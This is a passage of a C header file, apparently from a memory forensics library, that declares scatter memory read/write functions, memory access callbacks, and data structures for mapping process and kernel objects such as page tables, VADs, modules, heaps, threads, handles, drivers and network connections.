VMMDLL_Scatter_PrepareEx functions. The memory buffer given to\n//    VMMDLL_Scatter_PrepareEx will be populated with contents in step (3).\n// 3. Retrieve the memory by calling VMMDLL_Scatter_Execute function.\n// 4. If VMMDLL_Scatter_Prepare was used (i.e. not VMMDLL_Scatter_PrepareEx)\n//    then retrieve the memory read in (3).\n// 5. Clear the handle for reuse by calling VMMDLL_Scatter_Clear alternatively\n//    Close the handle to free resources with VMMDLL_Scatter_CloseHandle.\n// NB! buffers given to VMMDLL_Scatter_PrepareEx must not be free'd before\n//     handle is closed since it may be used internally.\n// NB! VMMDLL_Scatter_ExecuteRead may be called at a later point in time to\n//     update (re-read) previously read data.\n// NB! larger reads (up to 1 GB max) are supported but not recommended.\n//-----------------------------------------------------------------------------\ntypedef HANDLE      VMMDLL_SCATTER_HANDLE;\n\n/*\n* Initialize a scatter handle which is used to call VMMDLL_Scatter_* functions.\n* CALLER CLOSE: VMMDLL_Scatter_CloseHandle(return)\n* -- hVMM\n* -- dwPID - PID of target process, (DWORD)-1 to read physical memory.\n* -- flags = optional flags as given by VMMDLL_FLAG_*\n* -- return = handle to be used in VMMDLL_Scatter_* functions.\n*/\nEXPORTED_FUNCTION _Success_(return != NULL)\nVMMDLL_SCATTER_HANDLE VMMDLL_Scatter_Initialize(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD flags);\n\n/*\n* Prepare (add) a memory range for reading. The memory may after a call to\n* VMMDLL_Scatter_Execute*() be retrieved with VMMDLL_Scatter_Read().\n* -- hS\n* -- va = start address of the memory range to read.\n* -- cb = size of memory range to read.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Scatter_Prepare(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_ DWORD cb);\n\n/*\n* Prepare (add) a memory range for reading. The buffer pb and the read length\n* *pcbRead will be populated when VMMDLL_Scatter_Execute*() is later called.\n* NB! the buffer pb must not be deallocated before VMMDLL_Scatter_CloseHandle()\n*     has been called since it's used internally by the scatter functionality!\n* -- hS\n* -- va = start address of the memory range to read.\n* -- cb = size of memory range to read.\n* -- pb = buffer to populate with read memory when calling VMMDLL_Scatter_ExecuteRead()\n* -- pcbRead = optional pointer to be populated with number of bytes successfully read.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Scatter_PrepareEx(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_ DWORD cb, _Out_writes_opt_(cb) PBYTE pb, _Out_opt_ PDWORD pcbRead);\n\n/*\n* Prepare (add) a memory range for writing.\n* The memory contents to write is processed when calling this function.\n* Any changes to va/pb/cb after this call will not be reflected in the write.\n* The memory is later written when calling VMMDLL_Scatter_Execute().\n* Writing takes place before reading.\n* -- hS\n* -- va = start address of the memory range to write.\n* -- pb = data to write.\n* -- cb = size of memory range to write.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Scatter_PrepareWrite(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_reads_(cb) PBYTE pb, _In_ DWORD cb);\n\n/*\n* Prepare (add) a memory range for writing.\n* Memory contents to write is processed when calling VMMDLL_Scatter_Execute().\n* The buffer pb must be valid when VMMDLL_Scatter_Execute() is called.\n* The memory is later written when calling VMMDLL_Scatter_Execute().\n* Writing takes place before reading.\n* -- hS\n* -- va = start address of the memory range to write.\n* -- pb = data to write. Buffer must be valid when VMMDLL_Scatter_Execute() is called.\n* -- cb = size of memory range to write.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Scatter_PrepareWriteEx(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_reads_(cb) PBYTE pb, _In_ DWORD cb);\n\n/*\n* Retrieve and Write memory previously populated.\n* Write any memory prepared with VMMDLL_Scatter_PrepareWrite function (1st).\n* Retrieve the memory ranges previously populated with calls to the\n* VMMDLL_Scatter_Prepare* functions (2nd).\n* -- hS\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Scatter_Execute(_In_ VMMDLL_SCATTER_HANDLE hS);\n\n/*\n* Retrieve the memory ranges previously populated with calls to the\n* VMMDLL_Scatter_Prepare* functions.\n* -- hS\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Scatter_ExecuteRead(_In_ VMMDLL_SCATTER_HANDLE hS);\n\n/*\n* Read out memory in previously populated ranges. This function should only be\n* called after the memory has been retrieved using VMMDLL_Scatter_ExecuteRead().\n* -- hS\n* -- va\n* -- cb\n* -- pb\n* -- pcbRead\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Scatter_Read(_In_ VMMDLL_SCATTER_HANDLE hS, _In_ QWORD va, _In_ DWORD cb, _Out_writes_opt_(cb) PBYTE pb, _Out_opt_ PDWORD pcbRead);\n\n/*\n* Clear/Reset the handle for use in another subsequent read scatter operation.\n* -- hS = the scatter handle to clear for reuse.\n* -- dwPID = optional PID change.\n* -- flags\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Scatter_Clear(_In_ VMMDLL_SCATTER_HANDLE hS, _In_opt_ DWORD dwPID, _In_ DWORD flags);\n\n/*\n* Close the scatter handle and free the resources it uses.\n* -- hS = the scatter handle to close.\n*/\nEXPORTED_FUNCTION\nVOID VMMDLL_Scatter_CloseHandle(_In_opt_ _Post_ptr_invalid_ VMMDLL_SCATTER_HANDLE hS);\n\n\n\n//-----------------------------------------------------------------------------\n// MEMORY CALLBACK FUNCTIONALITY:\n// Allows for advanced memory access statistics and the creation of specialized\n// custom memory views for physical memory or per-process virtual memory.\n// Callback functions may be registered to modify memory reads and/or writes.\n//-----------------------------------------------------------------------------\n\ntypedef enum tdVMMDLL_MEM_CALLBACK_TP {\n    VMMDLL_MEM_CALLBACK_READ_PHYSICAL_PRE = 1,\n    VMMDLL_MEM_CALLBACK_READ_PHYSICAL_POST = 2,\n    VMMDLL_MEM_CALLBACK_WRITE_PHYSICAL_PRE = 3,\n    VMMDLL_MEM_CALLBACK_READ_VIRTUAL_PRE = 4,\n    VMMDLL_MEM_CALLBACK_READ_VIRTUAL_POST = 5,\n    VMMDLL_MEM_CALLBACK_WRITE_VIRTUAL_PRE = 6,\n} VMMDLL_MEM_CALLBACK_TP;\n\n/*\n* MEM callback function definition.\n* -- ctxUser = user context pointer.\n* -- dwPID = PID of target process, (DWORD)-1 for physical memory.\n* -- cpMEMs = count of pMEMs.\n* -- ppMEMs = array of pointers to MEM scatter read headers.\n*/\ntypedef VOID(*VMMDLL_MEM_CALLBACK_PFN)(_In_opt_ PVOID ctxUser, _In_ DWORD dwPID, _In_ DWORD cpMEMs, _In_ PPMEM_SCATTER ppMEMs);\n\n/*\n* Register or unregister an optional memory access callback function.\n* It's possible to have one callback function registered for each type.\n* To clear an already registered callback function specify NULL as pfnCB.\n* -- hVMM\n* -- tp = type of callback to register / unregister - VMMDLL_MEM_CALLBACK_*.\n* -- ctxUser = user context pointer to be passed to the callback function.\n* -- pfnCB = callback function to register / unregister.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_MemCallback(_In_ VMM_HANDLE hVMM, _In_ VMMDLL_MEM_CALLBACK_TP tp, _In_opt_ PVOID ctxUser, _In_opt_ VMMDLL_MEM_CALLBACK_PFN pfnCB);\n\n\n\n//-----------------------------------------------------------------------------\n// VMM PROCESS MAP FUNCTIONALITY BELOW:\n// Functionality for retrieving process related collections of items such as\n// page table map (PTE), virtual address descriptor map (VAD), loaded modules,\n// heaps and threads.\n//-----------------------------------------------------------------------------\n\n#define VMMDLL_MAP_PTE_VERSION              2\n#define VMMDLL_MAP_VAD_VERSION              6\n#define VMMDLL_MAP_VADEX_VERSION            4\n#define VMMDLL_MAP_MODULE_VERSION           6\n#define VMMDLL_MAP_UNLOADEDMODULE_VERSION   2\n#define VMMDLL_MAP_EAT_VERSION              3\n#define VMMDLL_MAP_IAT_VERSION              2\n#define VMMDLL_MAP_HEAP_VERSION             4\n#define VMMDLL_MAP_HEAPALLOC_VERSION        1\n#define VMMDLL_MAP_THREAD_VERSION           4\n#define VMMDLL_MAP_THREAD_CALLSTACK_VERSION 1\n#define VMMDLL_MAP_HANDLE_VERSION           3\n#define VMMDLL_MAP_POOL_VERSION             2\n#define VMMDLL_MAP_KOBJECT_VERSION          1\n#define VMMDLL_MAP_KDRIVER_VERSION          1\n#define VMMDLL_MAP_KDEVICE_VERSION          1\n#define VMMDLL_MAP_NET_VERSION              3\n#define VMMDLL_MAP_PHYSMEM_VERSION          2\n#define VMMDLL_MAP_USER_VERSION             2\n#define VMMDLL_MAP_VM_VERSION               2\n#define VMMDLL_MAP_SERVICE_VERSION          3\n\n// flags to check for existence in the fPage field of VMMDLL_MAP_PTEENTRY\n#define VMMDLL_MEMMAP_FLAG_PAGE_W           0x0000000000000002\n#define VMMDLL_MEMMAP_FLAG_PAGE_NS          0x0000000000000004\n#define VMMDLL_MEMMAP_FLAG_PAGE_NX          0x8000000000000000\n#define VMMDLL_MEMMAP_FLAG_PAGE_MASK        0x8000000000000006\n\n#define VMMDLL_POOLMAP_FLAG_ALL             0\n#define VMMDLL_POOLMAP_FLAG_BIG             1\n\n#define VMMDLL_MODULE_FLAG_NORMAL           0\n#define VMMDLL_MODULE_FLAG_DEBUGINFO        1\n#define VMMDLL_MODULE_FLAG_VERSIONINFO      2\n\ntypedef enum tdVMMDLL_PTE_TP {\n    VMMDLL_PTE_TP_NA = 0,\n    VMMDLL_PTE_TP_HARDWARE = 1,\n    VMMDLL_PTE_TP_TRANSITION = 2,\n    VMMDLL_PTE_TP_PROTOTYPE = 3,\n    VMMDLL_PTE_TP_DEMANDZERO = 4,\n    VMMDLL_PTE_TP_COMPRESSED = 5,\n    VMMDLL_PTE_TP_PAGEFILE = 6,\n    VMMDLL_PTE_TP_FILE = 7,\n} VMMDLL_PTE_TP, *PVMMDLL_PTE_TP;\n\ntypedef struct tdVMMDLL_MAP_PTEENTRY {\n    QWORD vaBase;\n    QWORD cPages;\n    QWORD fPage;\n    BOOL  fWoW64;\n    DWORD _FutureUse1;\n    union { LPSTR  uszText; LPWSTR wszText; };              // U/W dependant\n    DWORD _Reserved1;\n    DWORD cSoftware;    // # software (non active) PTEs in region\n} VMMDLL_MAP_PTEENTRY, *PVMMDLL_MAP_PTEENTRY;\n\ntypedef struct tdVMMDLL_MAP_VADENTRY {\n    QWORD vaStart;\n    QWORD vaEnd;\n    QWORD vaVad;\n    // DWORD 0\n    DWORD VadType           : 3;   // Pos 0\n    DWORD Protection        : 5;   // Pos 3\n    DWORD fImage            : 1;   // Pos 8\n    DWORD fFile             : 1;   // Pos 9\n    DWORD fPageFile         : 1;   // Pos 10\n    DWORD fPrivateMemory    : 1;   // Pos 11\n    DWORD fTeb              : 1;   // Pos 12\n    DWORD fStack            : 1;   // Pos 13\n    DWORD fSpare            : 2;   // Pos 14\n    DWORD HeapNum           : 7;   // Pos 16\n    DWORD fHeap             : 1;   // Pos 23\n    DWORD cwszDescription   : 8;   // Pos 24\n    // DWORD 1\n    DWORD CommitCharge      : 31;   // Pos 0\n    DWORD MemCommit         : 1;    // Pos 31\n    DWORD u2;\n    DWORD cbPrototypePte;\n    QWORD vaPrototypePte;\n    QWORD vaSubsection;\n    union { LPSTR  uszText; LPWSTR wszText; };              // U/W dependant\n    DWORD _FutureUse1;\n    DWORD _Reserved1;\n    QWORD vaFileObject;             // only valid if fFile/fImage _and_ after wszText is initialized\n    DWORD cVadExPages;              // number of \"valid\" VadEx pages in this VAD.\n    DWORD cVadExPagesBase;          // number of \"valid\" VadEx pages in \"previous\" VADs\n    QWORD _Reserved2;\n} VMMDLL_MAP_VADENTRY, *PVMMDLL_MAP_VADENTRY;\n\n#define VMMDLL_VADEXENTRY_FLAG_HARDWARE     0x01\n#define VMMDLL_VADEXENTRY_FLAG_W            0x10\n#define VMMDLL_VADEXENTRY_FLAG_K            0x40\n#define VMMDLL_VADEXENTRY_FLAG_NX           0x80\n\ntypedef struct tdVMMDLL_MAP_VADEXENTRY {\n    VMMDLL_PTE_TP tp;\n    BYTE iPML;\n    BYTE pteFlags;\n    WORD _Reserved2;\n    QWORD va;\n    QWORD pa;\n    QWORD pte;\n    struct {\n        DWORD _Reserved1;\n        VMMDLL_PTE_TP tp;\n        QWORD pa;\n        QWORD pte;\n    } proto;\n    QWORD vaVadBase;\n} VMMDLL_MAP_VADEXENTRY, *PVMMDLL_MAP_VADEXENTRY;\n\ntypedef enum tdVMMDLL_MODULE_TP {\n    VMMDLL_MODULE_TP_NORMAL = 0,\n    VMMDLL_MODULE_TP_DATA = 1,\n    VMMDLL_MODULE_TP_NOTLINKED = 2,\n    VMMDLL_MODULE_TP_INJECTED = 3,\n} VMMDLL_MODULE_TP;\n\ntypedef struct tdVMMDLL_MAP_MODULEENTRY_DEBUGINFO {\n    DWORD dwAge;\n    DWORD _Reserved;\n    BYTE Guid[16];\n    union { LPSTR  uszGuid;             LPWSTR wszGuid;                 };\n    union { LPSTR  uszPdbFilename;      LPWSTR wszPdbFilename;          };\n} VMMDLL_MAP_MODULEENTRY_DEBUGINFO, *PVMMDLL_MAP_MODULEENTRY_DEBUGINFO;\n\ntypedef struct tdVMMDLL_MAP_MODULEENTRY_VERSIONINFO {\n    union { LPSTR  uszCompanyName;      LPWSTR wszCompanyName;          };\n    union { LPSTR  uszFileDescription;  LPWSTR wszFileDescription;      };\n    union { LPSTR  uszFileVersion;      LPWSTR wszFileVersion;          };\n    union { LPSTR  uszInternalName;     LPWSTR wszInternalName;         };\n    union { LPSTR  uszLegalCopyright;   LPWSTR wszLegalCopyright;       };\n    union { LPSTR  uszOriginalFilename; LPWSTR wszFileOriginalFilename; };\n    union { LPSTR  uszProductName;      LPWSTR wszProductName;          };\n    union { LPSTR  uszProductVersion;   LPWSTR wszProductVersion;       };\n} VMMDLL_MAP_MODULEENTRY_VERSIONINFO, *PVMMDLL_MAP_MODULEENTRY_VERSIONINFO;\n\ntypedef struct tdVMMDLL_MAP_MODULEENTRY {\n    QWORD vaBase;\n    QWORD vaEntry;\n    DWORD cbImageSize;\n    BOOL  fWoW64;\n    union { LPSTR  uszText; LPWSTR wszText; };              // U/W dependant\n    DWORD _Reserved3;\n    DWORD _Reserved4;\n    union { LPSTR  uszFullName; LPWSTR wszFullName; };      // U/W dependant\n    VMMDLL_MODULE_TP tp;\n    DWORD cbFileSizeRaw;\n    DWORD cSection;\n    DWORD cEAT;\n    DWORD cIAT;\n    DWORD _Reserved2;\n    QWORD _Reserved1[3];\n    PVMMDLL_MAP_MODULEENTRY_DEBUGINFO pExDebugInfo;         // not included by default - use VMMDLL_MODULE_FLAG_DEBUGINFO to include.\n    PVMMDLL_MAP_MODULEENTRY_VERSIONINFO pExVersionInfo;     // not included by default - use VMMDLL_MODULE_FLAG_VERSIONINFO to include.\n} VMMDLL_MAP_MODULEENTRY, *PVMMDLL_MAP_MODULEENTRY;\n\ntypedef struct tdVMMDLL_MAP_UNLOADEDMODULEENTRY {\n    QWORD vaBase;\n    DWORD cbImageSize;\n    BOOL  fWoW64;\n    union { LPSTR  uszText; LPWSTR wszText; };              // U/W dependant\n    DWORD _FutureUse1;\n    DWORD dwCheckSum;               // user-mode only\n    DWORD dwTimeDateStamp;          // user-mode only\n    DWORD _Reserved1;\n    QWORD ftUnload;                 // kernel-mode only\n} VMMDLL_MAP_UNLOADEDMODULEENTRY, *PVMMDLL_MAP_UNLOADEDMODULEENTRY;\n\ntypedef struct tdVMMDLL_MAP_EATENTRY {\n    QWORD vaFunction;\n    DWORD dwOrdinal;\n    DWORD oFunctionsArray;          // PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions[oFunctionsArray]\n    DWORD oNamesArray;              // PIMAGE_EXPORT_DIRECTORY->AddressOfNames[oNamesArray]\n    DWORD _FutureUse1;\n    union { LPSTR  uszFunction; LPWSTR wszFunction; };      // U/W dependant\n    union { LPSTR  uszForwardedFunction; LPWSTR wszForwardedFunction; };    // U/W dependant (function or ordinal name if exists).\n} VMMDLL_MAP_EATENTRY, *PVMMDLL_MAP_EATENTRY;\n\ntypedef struct tdVMMDLL_MAP_IATENTRY {\n    QWORD vaFunction;\n    union { LPSTR  uszFunction; LPWSTR wszFunction; };      // U/W dependant\n    DWORD _FutureUse1;\n    DWORD _FutureUse2;\n    union { LPSTR  uszModule; LPWSTR wszModule; };          // U/W dependant\n    struct {\n        BOOL f32;\n        WORD wHint;\n        WORD _Reserved1;\n        DWORD rvaFirstThunk;\n        DWORD rvaOriginalFirstThunk;\n        DWORD rvaNameModule;\n        DWORD rvaNameFunction;\n    } Thunk;\n} VMMDLL_MAP_IATENTRY, *PVMMDLL_MAP_IATENTRY;\n\ntypedef enum tdVMMDLL_HEAP_TP {\n    VMMDLL_HEAP_TP_NA   = 0,\n    VMMDLL_HEAP_TP_NT   = 1,\n    VMMDLL_HEAP_TP_SEG  = 2,\n} VMMDLL_HEAP_TP, *PVMMDLL_HEAP_TP;\n\ntypedef enum tdVMMDLL_HEAP_SEGMENT_TP {\n    VMMDLL_HEAP_SEGMENT_TP_NA           = 0,\n    VMMDLL_HEAP_SEGMENT_TP_NT_SEGMENT   = 1,\n    VMMDLL_HEAP_SEGMENT_TP_NT_LFH       = 2,\n    VMMDLL_HEAP_SEGMENT_TP_NT_LARGE     = 3,\n    VMMDLL_HEAP_SEGMENT_TP_NT_NA        = 4,\n    VMMDLL_HEAP_SEGMENT_TP_SEG_HEAP     = 5,\n    VMMDLL_HEAP_SEGMENT_TP_SEG_SEGMENT  = 6,\n    VMMDLL_HEAP_SEGMENT_TP_SEG_LARGE    = 7,\n    VMMDLL_HEAP_SEGMENT_TP_SEG_NA       = 8,\n} VMMDLL_HEAP_SEGMENT_TP, *PVMMDLL_HEAP_SEGMENT_TP;\n\ntypedef struct tdVMMDLL_MAP_HEAP_SEGMENTENTRY {\n    QWORD va;\n    DWORD cb;\n    VMMDLL_HEAP_SEGMENT_TP tp : 16;\n    DWORD iHeap : 16;\n} VMMDLL_MAP_HEAP_SEGMENTENTRY, *PVMMDLL_MAP_HEAP_SEGMENTENTRY;\n\ntypedef struct tdVMMDLL_MAP_HEAPENTRY {\n    QWORD va;\n    VMMDLL_HEAP_TP tp;\n    BOOL f32;\n    DWORD iHeap;\n    DWORD dwHeapNum;\n} VMMDLL_MAP_HEAPENTRY, *PVMMDLL_MAP_HEAPENTRY;\n\ntypedef enum tdVMMDLL_HEAPALLOC_TP {\n    VMMDLL_HEAPALLOC_TP_NA          = 0,\n    VMMDLL_HEAPALLOC_TP_NT_HEAP     = 1,\n    VMMDLL_HEAPALLOC_TP_NT_LFH      = 2,\n    VMMDLL_HEAPALLOC_TP_NT_LARGE    = 3,\n    VMMDLL_HEAPALLOC_TP_NT_NA       = 4,\n    VMMDLL_HEAPALLOC_TP_SEG_VS      = 5,\n    VMMDLL_HEAPALLOC_TP_SEG_LFH     = 6,\n    VMMDLL_HEAPALLOC_TP_SEG_LARGE   = 7,\n    VMMDLL_HEAPALLOC_TP_SEG_NA      = 8,\n} VMMDLL_HEAPALLOC_TP, *PVMMDLL_HEAPALLOC_TP;\n\ntypedef struct tdVMMDLL_MAP_HEAPALLOCENTRY {\n    QWORD va;\n    DWORD cb;\n    VMMDLL_HEAPALLOC_TP tp;\n} VMMDLL_MAP_HEAPALLOCENTRY, *PVMMDLL_MAP_HEAPALLOCENTRY;\n\ntypedef struct tdVMMDLL_MAP_THREADENTRY {\n    DWORD dwTID;\n    DWORD dwPID;\n    DWORD dwExitStatus;\n    UCHAR bState;\n    UCHAR bRunning;\n    UCHAR bPriority;\n    UCHAR bBasePriority;\n    QWORD vaETHREAD;\n    QWORD vaTeb;\n    QWORD ftCreateTime;\n    QWORD ftExitTime;\n    QWORD vaStartAddress;\n    QWORD vaStackBaseUser;          // value from _NT_TIB / _TEB\n    QWORD vaStackLimitUser;         // value from _NT_TIB / _TEB\n    QWORD vaStackBaseKernel;\n    QWORD vaStackLimitKernel;\n    QWORD vaTrapFrame;\n    QWORD vaRIP;                    // RIP register (if user mode)\n    QWORD vaRSP;                    // RSP register (if user mode)\n    QWORD qwAffinity;\n    DWORD dwUserTime;\n    DWORD dwKernelTime;\n    UCHAR bSuspendCount;\n    UCHAR bWaitReason;\n    UCHAR _FutureUse1[2];\n    DWORD _FutureUse2[11];\n    QWORD vaImpersonationToken;\n    QWORD vaWin32StartAddress;\n} VMMDLL_MAP_THREADENTRY, *PVMMDLL_MAP_THREADENTRY;\n\ntypedef struct tdVMMDLL_MAP_THREAD_CALLSTACKENTRY {\n    DWORD i;\n    BOOL  fRegPresent;\n    QWORD vaRetAddr;\n    QWORD vaRSP;\n    QWORD vaBaseSP;\n    DWORD _FutureUse1;\n    DWORD cbDisplacement;\n    union { LPSTR uszModule; LPWSTR wszModule; };           // U/W dependant\n    union { LPSTR uszFunction; LPWSTR wszFunction; };       // U/W dependant\n} VMMDLL_MAP_THREAD_CALLSTACKENTRY, *PVMMDLL_MAP_THREAD_CALLSTACKENTRY;\n\ntypedef struct tdVMMDLL_MAP_HANDLEENTRY {\n    QWORD vaObject;\n    DWORD dwHandle;\n    DWORD dwGrantedAccess : 24;\n    DWORD iType : 8;\n    QWORD qwHandleCount;\n    QWORD qwPointerCount;\n    QWORD vaObjectCreateInfo;\n    QWORD vaSecurityDescriptor;\n    union { LPSTR  uszText; LPWSTR wszText; };              // U/W dependant\n    DWORD _FutureUse2;\n    DWORD dwPID;\n    DWORD dwPoolTag;\n    DWORD _FutureUse[7];\n    union { LPSTR  uszType; LPWSTR wszType; QWORD _Pad1; }; // U/W dependant\n} VMMDLL_MAP_HANDLEENTRY, *PVMMDLL_MAP_HANDLEENTRY;\n\ntypedef enum tdVMMDLL_MAP_POOL_TYPE {\n    VMMDLL_MAP_POOL_TYPE_Unknown         = 0,\n    VMMDLL_MAP_POOL_TYPE_NonPagedPool    = 1,\n    VMMDLL_MAP_POOL_TYPE_NonPagedPoolNx  = 2,\n    VMMDLL_MAP_POOL_TYPE_PagedPool       = 3\n} VMMDLL_MAP_POOL_TYPE;\n\ntypedef enum tdVMM_MAP_POOL_TYPE_SUBSEGMENT {\n    VMM_MAP_POOL_TYPE_SUBSEGMENT_UNKNOWN = 0,\n    VMM_MAP_POOL_TYPE_SUBSEGMENT_NA      = 1,\n    VMM_MAP_POOL_TYPE_SUBSEGMENT_BIG     = 2,\n    VMM_MAP_POOL_TYPE_SUBSEGMENT_LARGE   = 3,\n    VMM_MAP_POOL_TYPE_SUBSEGMENT_VS      = 4,\n    VMM_MAP_POOL_TYPE_SUBSEGMENT_LFH     = 5\n} VMM_MAP_POOL_TYPE_SUBSEGMENT;\n\ntypedef struct tdVMMDLL_MAP_POOLENTRYTAG {\n    union {\n        CHAR szTag[5];\n        struct {\n            DWORD dwTag;\n            DWORD _Filler;\n            DWORD cEntry;\n            DWORD iTag2Map;\n        };\n    };\n} VMMDLL_MAP_POOLENTRYTAG, *PVMMDLL_MAP_POOLENTRYTAG;\n\ntypedef struct tdVMMDLL_MAP_POOLENTRY {\n    QWORD va;\n    union {\n        CHAR szTag[5];\n        struct {\n            DWORD dwTag;\n            BYTE _ReservedZero;\n            BYTE fAlloc;\n            BYTE tpPool;    // VMMDLL_MAP_POOL_TYPE\n            BYTE tpSS;      // VMMDLL_MAP_POOL_TYPE_SUBSEGMENT\n        };\n    };\n    DWORD cb;\n    DWORD _Filler;\n} VMMDLL_MAP_POOLENTRY, *PVMMDLL_MAP_POOLENTRY;\n\ntypedef struct tdVMMDLL_MAP_KDEVICEENTRY {\n    QWORD va;                                       // Address of this object in memory.\n    DWORD iDepth;                                   // Depth of the device object.\n    DWORD dwDeviceType;                             // Device type according to FILE_DEVICE_*\n    union { LPSTR  uszDeviceType; LPWSTR wszDeviceType; }; // Device type name.\n    QWORD vaDriverObject;                           // Address of the driver object.\n    QWORD vaAttachedDevice;                         // Address of the attached device object (if exists).\n    QWORD vaFileSystemDevice;                       // Address of the file system device object (if exists).\n    union { LPSTR  uszVolumeInfo; LPWSTR wszVolumeInfo; }; // Volume information (if exists) .\n} VMMDLL_MAP_KDEVICEENTRY, *PVMMDLL_MAP_KDEVICEENTRY;\n\ntypedef struct tdVMMDLL_MAP_KDRIVERENTRY {\n    QWORD va;                                       // Address of this object in memory.\n    QWORD vaDriverStart;                            // Address of the loaded driver module in memory.\n    QWORD cbDriverSize;                             // Size of the loaded driver module in memory.\n    QWORD vaDeviceObject;                           // Address of the device object.\n    union { LPSTR  uszName; LPWSTR wszName; };      // Driver name.\n    union { LPSTR  uszPath; LPWSTR wszPath; };      // Driver path.\n    union { LPSTR  uszServiceKeyName; LPWSTR wszServiceKeyName; }; // Service key name.\n    QWORD MajorFunction[28];                        // Major function array.\n} VMMDLL_MAP_KDRIVERENTRY, *PVMMDLL_MAP_KDRIVERENTRY;\n\ntypedef struct tdVMMDLL_MAP_KOBJECTENTRY {\n    QWORD va;                                       // Address of this object in memory.\n    QWORD vaParent;                                 // Address of parent object.\n    DWORD _Filler;\n    DWORD cvaChild;                                 // Number of child object addresses.\n    PQWORD pvaChild;                                // Array of child object addresses.\n    union { LPSTR uszName; LPWSTR wszName; };       // Object name.\n    union { LPSTR uszType; LPWSTR wszType; };       // Object type\n} VMMDLL_MAP_KOBJECTENTRY, *PVMMDLL_MAP_KOBJECTENTRY;\n\ntypedef struct tdVMMDLL_MAP_NETENTRY {\n    DWORD dwPID;\n    DWORD dwState;\n    WORD _FutureUse3[3];\n    WORD AF;                        // address family (IPv4/IPv6)\n    struct {\n        BOOL fValid;\n        WORD _Reserved;\n        WORD port;\n        BYTE pbAddr[16];            // ipv4 = 1st 4 bytes, ipv6 = all bytes\n        union { LPSTR  uszText; LPWSTR wszText; };          // U/W dependant\n    } Src;\n    struct {\n        BOOL fValid;\n        WORD _Reserved;\n        WORD port;\n        BYTE pbAddr[16];            // ipv4 = 1st 4 bytes, ipv6 = all bytes\n        union { LPSTR  uszText; LPWSTR wszText; };          // U/W dependant\n    } Dst;\n    QWORD vaObj;\n    QWORD ftTime;\n    DWORD dwPoolTag;\n    DWORD _FutureUse4;\n    union { LPSTR  uszText; LPWSTR wszText; };              // U/W dependant\n    DWORD _FutureUse2[4];\n} VMMDLL_MAP_NETENTRY, *PVMMDLL_MAP_NETENTRY;\n\ntypedef struct tdVMMDLL_MAP_PHYSMEMENTRY {\n    QWORD pa;\n    QWORD cb;\n} VMMDLL_MAP_PHYSMEMENTRY, *PVMMDLL_MAP_PHYSMEMENTRY;\n\ntypedef struct tdVMMDLL_MAP_USERENTRY {\n    DWORD _FutureUse1[2];\n    union { LPSTR  uszText; LPWSTR wszText; };              // U/W dependant\n    ULONG64 vaRegHive;\n    union { LPSTR  uszSID; LPWSTR wszSID; };                // U/W dependant\n    DWORD _FutureUse2[2];\n} VMMDLL_MAP_USERENTRY, *PVMMDLL_MAP_USERENTRY;\n\ntypedef enum tdVMMDLL_VM_TP {\n    VMMDLL_VM_TP_UNKNOWN = 0,\n    VMMDLL_VM_TP_HV      = 1,\n    VMMDLL_VM_TP_HV_WHVP = 2\n} VMMDLL_VM_TP;\n\ntypedef struct tdVMMDLL_MAP_VMENTRY {\n    VMMVM_HANDLE hVM;\n    union { LPSTR  uszName; LPWSTR wszName; };              // U/W dependant\n    QWORD gpaMax;\n    VMMDLL_VM_TP tp;\n    BOOL fActive;\n    BOOL fReadOnly;\n    BOOL fPhysicalOnly;\n    DWORD dwPartitionID;\n    DWORD dwVersionBuild;\n    VMMDLL_SYSTEM_TP tpSystem;\n    DWORD dwParentVmmMountID;\n    DWORD dwVmMemPID;\n} VMMDLL_MAP_VMENTRY, *PVMMDLL_MAP_VMENTRY;\n\ntypedef struct tdVMMDLL_MAP_SERVICEENTRY {\n    QWORD vaObj;\n    DWORD dwOrdinal;\n    DWORD dwStartType;\n    SERVICE_STATUS ServiceStatus;\n    union { LPSTR  uszServiceName; LPWSTR wszServiceName; QWORD _Reserved1; };  // U/W dependant\n    union { LPSTR  uszDisplayName; LPWSTR wszDisplayName; QWORD _Reserved2; };  // U/W dependant\n    union { LPSTR  uszPath;        LPWSTR wszPath;        QWORD _Reserved3; };  // U/W dependant\n    union { LPSTR  uszUserTp;      LPWSTR wszUserTp;      QWORD _Reserved4; };  // U/W dependant\n    union { LPSTR  uszUserAcct;    LPWSTR wszUserAcct;    QWORD _Reserved5; };  // U/W dependant\n    union { LPSTR  uszImagePath;   LPWSTR wszImagePath;   QWORD _Reserved6; };  // U/W dependant\n    DWORD dwPID;\n    DWORD _FutureUse1;\n    QWORD _FutureUse2;\n} VMMDLL_MAP_SERVICEENTRY, *PVMMDLL_MAP_SERVICEENTRY;\n\ntypedef struct tdVMMDLL_MAP_PTE {\n    DWORD dwVersion;                // VMMDLL_MAP_PTE_VERSION\n    DWORD _Reserved1[5];\n    PBYTE pbMultiText;              // NULL or multi-wstr pointed into by VMMDLL_MAP_VADENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_PTEENTRY pMap[];     // map entries.\n} VMMDLL_MAP_PTE, *PVMMDLL_MAP_PTE;\n\ntypedef struct tdVMMDLL_MAP_VAD {\n    DWORD dwVersion;                // VMMDLL_MAP_VAD_VERSION\n    DWORD _Reserved1[4];\n    DWORD cPage;                    // # pages in vad map.\n    PBYTE pbMultiText;              // NULL or multi-wstr pointed into by VMMDLL_MAP_VADENTRY.wszText\n    DWORD cbMultiText;\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_VADENTRY pMap[];     // map 